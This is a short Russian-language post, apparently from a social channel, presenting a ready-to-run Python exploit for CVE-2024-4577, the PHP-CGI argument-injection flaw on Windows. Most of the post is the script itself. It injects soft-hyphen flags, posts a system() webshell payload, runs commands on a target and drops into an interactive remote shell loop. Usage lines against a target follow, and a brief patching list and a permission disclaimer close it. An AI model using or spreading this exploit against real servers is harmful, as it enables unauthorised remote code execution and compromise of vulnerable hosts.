Эксплойт для CVE-2024-4577 — критическая RCE-уязвимость в PHP-CGI

Она позволяет выполнять произвольный код через манипуляцию с аргументами командной строки. Эта дыра работает на Windows-системах с Apache/IIS и связана с некорректной обработкой символов в Best-Fit кодировках.

Суть уязвимости

PHP-CGI неправильно обрабатывает специальные символы (мягкий дефис `0xAD` и японская тильда `0xAA`) в кодировках Windows. Эти символы превращаются в ASCII-дефис `-`, что позволяет инжектить флаги командной строки PHP.

Рабочий эксплойт

#!/usr/bin/env python3
import requests
import sys
def exploit_php_cgi(target_url):
"""
Эксплойт для CVE-2024-4577 (PHP-CGI RCE)
"""
# Полезная нагрузка: используем мягкий дефис для инжекта флагов
payload = "/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

# Команда для выполнения (phpinfo для теста)
php_code = "<?php system($_GET['cmd']); ?>"

full_url = target_url + payload + "&cmd=whoami"

headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}

try:
print(f"[*] Атакуем: {target_url}")
print(f"[*] Payload: {payload}")

# Отправляем эксплойт
response = requests.post(
full_url,
data=php_code,
headers=headers,
timeout=10,
verify=False
)

if response.status_code == 200:
print("[+] Успех! Вывод команды:")
print(response.text)
return True
else:
print(f"[-] Ошибка: статус {response.status_code}")
return False

except Exception as e:
print(f"[-] Ошибка соединения: {e}")
return False
def interactive_shell(target_url):
"""
Интерактивная оболочка для выполнения команд
"""
payload = "/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
php_code = "<?php system($_GET['cmd']); ?>"

print("\n[*] Интерактивный режим. Введите 'exit' для выхода.")

while True:
cmd = input("shell> ").strip()

if cmd.lower() == 'exit':
break

if not cmd:
continue

full_url = f"{target_url}{payload}&cmd={cmd}"

try:
response = requests.post(
full_url,
data=php_code,
timeout=10,
verify=False
)
print(response.text)
except Exception as e:
print(f"[-] Ошибка: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Использование: python exploit.py <target_url>")
print("Пример: python exploit.py http://vulnerable-site.com")
sys.exit(1)

target = sys.argv[1]

if exploit_php_cgi(target):
interactive_shell(target)

Как использовать

# Базовая атака
python exploit.py http://target.com
# С прокси для отладки
python exploit.py http://target.com --proxy http://127.0.0.1:8080

Защита

• Обновить PHP до версий 8.3.8+, 8.2.20+, 8.1.29+

• Отключить PHP-CGI, использовать PHP-FPM или mod_php

• Фильтровать входящие запросы на WAF

Уязвимость патчится легко, но на старых инсталляциях встречается часто. Тестируйте только на своих системах или с разрешением!

37 views·4 shares